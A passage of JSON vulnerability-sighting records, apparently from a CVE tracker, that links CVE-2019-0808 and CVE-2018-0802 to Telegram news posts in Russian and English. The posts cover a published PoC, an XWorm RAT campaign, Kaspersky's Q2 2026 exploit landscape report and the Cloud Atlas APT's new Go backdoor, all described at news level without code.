"https://t.me/securixy_kz/483", "content": "Windows 7 - \u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 0-Day\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-0808 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Win32k \u0432 Windows 7 \u0438 Windows Server 2008 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430...", "creation_timestamp": "2026-07-14T00:00:54.383081Z"}, {"uuid": "eda3be42-5b20-4510-a0b5-2b75c8ae43f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/19316", "content": "New XWorm RAT Campaign Leverages Phishing and CVE-2018-0802 Excel Exploit to Bypass Detection \u2013 gbhackers.com\n\nFri, 13 Feb 2026 16:58:22", "creation_timestamp": "2026-07-19T16:00:06.580964Z"}, {"uuid": "1ebb68c9-9285-4d7b-8c8c-7f199f351b9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/19316", "content": "New XWorm RAT Campaign Leverages Phishing and CVE-2018-0802 Excel Exploit to Bypass Detection \u2013 gbhackers.com\n\nFri, 13 Feb 2026 16:58:22", "creation_timestamp": "2026-07-20T00:00:20.636227Z"}, {"uuid": "dd4c416b-b2c0-458d-87aa-3bf7e5d940c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/10213", "content": "New XWorm RAT Campaign Leverages Phishing and CVE-2018-0802 Excel Exploit to Bypass Detection \u2013 gbhackers.com\n\nFri, 13 Feb 2026 16:58:22", "creation_timestamp": "2026-07-20T19:00:04.569294Z"}, {"uuid": "c3b0e219-d459-4f67-98de-f7e2a295c134", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/true_secator/8547", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-26T18:00:05.760595Z"}, {"uuid": "3a93510f-5655-4cf3-9447-ec36ab4bc311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/10213", "content": "New XWorm RAT Campaign Leverages Phishing and CVE-2018-0802 Excel Exploit to Bypass Detection \u2013 gbhackers.com\n\nFri, 13 Feb 2026 16:58:22", "creation_timestamp": "2026-07-21T00:00:20.564226Z"}, {"uuid": "aea0e98d-9764-4939-9a21-78a229b9da53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/true_secator/8435", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c\u00a0\u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c APT Cloud Atlas, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u043c\u0430\u044f 2026 \u0433\u043e\u0434\u0430 \u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440.\n\nAPT \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 PowerShell \u0438 VBS, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u043e\u0432\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 CloudAtlasGo \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430 Golang. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 \u04212 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f WebRTC, \u0430 \u0434\u043b\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 \u043e\u0431 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f - \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b.\n\n\u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u0445\u0435\u043c\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442\u00a0\u0443\u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0443\u044e \u0440\u0430\u043d\u0435\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0443. \u0420\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b (CVE-2018-0802) \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0432 \u0432\u0438\u0434\u0435 RTF-\u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0443\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 HTML-\u0444\u0430\u0439\u043b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (HTA).\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 HTA-\u0444\u0430\u0439\u043b \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0438 